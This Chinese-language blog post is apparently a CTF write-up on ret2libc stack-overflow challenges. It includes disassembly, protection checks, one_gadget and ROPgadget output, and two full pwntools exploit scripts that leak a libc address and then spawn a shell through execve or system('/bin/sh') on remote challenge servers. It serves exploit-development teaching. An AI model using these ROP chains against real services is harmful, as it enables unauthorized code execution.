ret2libc

Posted by l0tus on 2022-09-10
Estimated Reading Time 8 Minutes
Words 1.7k In Total
Viewed Times

ret2libc与ret2text本质是一样的都是利用栈溢出改写返回地址,构造栈空间使程序运行到我们想要的函数,传入自己想要的参数,从而获取shell。不过这题没有system函数,那么我们需要做的就是引用libc库中的system并传入/bin/sh参数。
关于ret2libc详细的介绍可以参考白夜学长这篇文章,我就不过多赘述,直接做题。

拖进ida

可以看到只有一个vuln函数而且没有_system

1
2
3
4
5
6
7
8
9
10
11
 ssize_t vuln()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("I'm still a repeater, but lost an important part during transmission.");
puts("Your computer may have the substitute for the lost part.");
puts("But it may not the same as original.");
puts("Do you want to say anything?");
read(0, buf, 0x60uLL);
return write(1, buf, 0x60uLL);
}

检查保护

1
2
3
4
5
6
[*] '/home/l0tus/下载/attachment(14)/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO #可以修改got
Stack: No canary found #能直接进行栈溢出
NX: NX enabled #堆栈不可执行
PIE: No PIE (0x3fe000)

onegadget获取偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ one_gadget libc-2.31.so --near puts
[OneGadget] Gadgets near puts(0x84450):
0xe3b2e execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL

0xe3b31 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL

0xe3b34 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL

这里可以得到execve的相对地址0xe3b2e和puts的相对地址0x84450,可以用来计算偏移
然后找到一个pop rdi;ret ,这个execve 的限制是 r12,r13 都为0,还需要 pop r12; pop r13
这一步和之前的ret2text的ROPgadget一样操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ ROPgadget --binary vuln | grep pop
0x000000000040125a : add byte ptr [rax], al ; add byte ptr [rax], al ; pop rbp ; ret
0x000000000040125c : add byte ptr [rax], al ; pop rbp ; ret
0x000000000040117b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401176 : mov byte ptr [rip + 0x2f0b], 1 ; pop rbp ; ret
0x0000000000401259 : mov eax, 0 ; pop rbp ; ret
0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012c0 : pop r14 ; pop r15 ; ret
0x00000000004012c2 : pop r15 ; ret
0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret
0x000000000040117d : pop rbp ; ret
0x00000000004012c3 : pop rdi ; ret
0x00000000004012c1 : pop rsi ; pop r15 ; ret
0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret

得到rdi的地址是0x4012c3,pop r12;pop r13 是0x4012bc
然后直接看main函数的地址为0x40120B
至此我们做这题需要的地址都已经齐全了

利用patchelf替换libc

题目远程环境的libc版本和本地的libc并不一定相同,但是附件中包含了对应的远程libc文件,这时就需要我们自己手动替换libc文件。一般情况下,我们需要替换的为 ld.solibc.so 两个文件
这一步的作用就是将题目附件vuln的libc环境从本地的替换成libc附件的(远程的),确保库中的函数偏移值相同 这样本地调试与远程环境相同。
对原附件进行ldd可以看到如下结果

1
2
3
4
l0tus@l0tus-virtual-machine:~/下载/attachment(14) (1)$ ldd vuln
linux-vdso.so.1 (0x00007ffe63fa7000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007efe0bb29000)
/lib64/ld-linux-x86-64.so.2 (0x00007efe0bd64000)

可以看到这里的libc不是我们想要的,分别利用

1
2
patchelf --set-interpreter <new ld file> <ELF file>
patchelf --replace-needed <old libc> <new libc> <ELF file>

这样的两条指令进行修改,尖括号整个替换成文件名/相对地址。由于每个人虚拟机/物理机装的libc文件位置不同,可根据各自情况来确定具体指令。
替换成功之后再ldd将显示如下界面

1
2
3
4
l0tus@l0tus-virtual-machine:~/下载/attachment(14)$ ldd vuln
linux-vdso.so.1 (0x00007ffcffbad000)
./libc-2.31.so (0x00007f92757c0000)
ld-2.31.so => /lib64/ld-linux-x86-64.so.2 (0x00007f92759b4000)

recv() & recvuntil()

再回头看伪代码得知read之后存在一个write函数将buf进行返回,那么我们就需要用recv,recvuntil函数来接受我们leak出来的内容,其中recv()函数的参数是数字,作用为接收指定长度的内容;recvuntil()参数为字符串作用是一直接收到指定的字符串
调试时观察结束位置再合理利用这两个函数就可以接收到需要的值

完整思路

第一次输入:填充后覆盖返回地址,返回指向puts,利用puts 函数输出puts 的函数地址 puts_addr
利用puts 对libc 的偏移puts_offset 计算libc 基址 libc_addr = puts_addr - puts_offset; execve_addr = libc_addr + execve_offset 得到的execve地址
第二次输入:填充后调用pop_addr 清掉r12, r13, 返回地址为 execve_addr

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
 from pwn import *

context(log_level='debug',arch='amd64',os='linux')
p = remote("1-vidar-train-docker.xn--sxa.cc","49397")
elf = ELF('./vuln')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40120B # main函数的地址
rdi_addr = 0x4012c3 # prop rdi;et 地址
pop_addr = 0x4012bc # pop r12 ; pop r13 地址
# 在onegadget得到的偏移
puts_offset = 0x84450
execve_offset = 0xe3b2e # execve

# 第一次输puts
payload1 = b'A'*0x28
payload1 += p64(rdi_addr)
payload1 += p64(puts_got)
payload1 += p64(puts_plt) # ret to puts
payload1 += p64(main_addr)
p.sendline(payload1)
p.recvuntil(payload1)
p.recv(24)
puts_addr = u64(p.recv(6)+b'\x00'*2)
libc_addr = puts_addr - puts_offset # libc的基址
execve_addr = libc_addr + execve_offset
print("puts_addr = " + hex(puts_addr))
print("libc_addr = ",hex(libc_addr))
print("execve_addr = " + hex(execve_addr))

# 第二次输入
payload2 = b'A'*0x28
payload2 += p64(pop_addr)
payload2 += p64(0) * 4
payload2 += p64(execve_addr)
p.sendline(payload2)

p.interactive()

ret2libc(plus)

有的ret2libc题目甚至不给libc.so文件,那么我们就没办法使用onegadget来获取一些libc库函数的偏移
这道题整体思路与上一题基本一致的,但是需要用到一个新的东西那就是LibcSearcher
作用是查找库中函数与该函数偏移一致对应的libc库,用法:LibcSearcher("函数名",函数地址)
如果只通过一个函数来查找,那显示的libc库可能会有很多个,一种做法是一个个试,另一种做法是通过两个函数来查找。
选好一个libc库之后就和上题做法基本一致了,确定libc基址,确定所需函数的地址,然后调用所需函数。
这题直接调用system,并将/bin/sh作为参数。
需要注意的一个地方就是第二次输入是传参的方式,几个payload之间的顺序以及最后的retn 栈对齐。愚蠢的l0tus就在最后的位置卡了很久EOF

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
p=remote("1-vidar-train-docker.xn--sxa.cc","49440")
#p = process("./vuln")
elf =ELF('./vuln')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = 0x40120B # main函数的地址
rdi_addr = 0x4012c3 # pop rdi;ret 地址
pop_addr = 0x4012bc # pop r12 ; pop r13 地址

# 第一次输puts
payload1 = b'A'*0x28
payload1 += p64(rdi_addr)
payload1 += p64(puts_got)
payload1 += p64(puts_plt) # ret to puts
payload1 += p64(main_addr)
p.sendline(payload1)
p.recvuntil(payload1)
p.recv(24)
puts_addr = u64(p.recv(6)+b'\x00'*2) #puts_addr
libc=LibcSearcher("puts",puts_addr)
libc_addr = puts_addr - libc.dump("puts") # libc的基址
system_addr = libc_addr + libc.dump("system")
binsh_addr=libc_addr+libc.dump("str_bin_sh")
execve_addr=libc_addr+libc.dump("execve")
print("puts_addr = " + hex(puts_addr))
print("libc_addr = ",hex(libc_addr))
print("system_addr = " + hex(system_addr))
print("execve_addr = "+hex(execve_addr))

# 第二次输入
payload2 = b'A'*0x28
payload2 += p64(rdi_addr)
payload2 += p64(binsh_addr)
payload2 += p64(0x40101a)
payload2 += p64(system_addr)
payload2 += p64(0)*4
payload2 += p64(0x40101a)
p.sendline(payload2)
p.interactive()

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !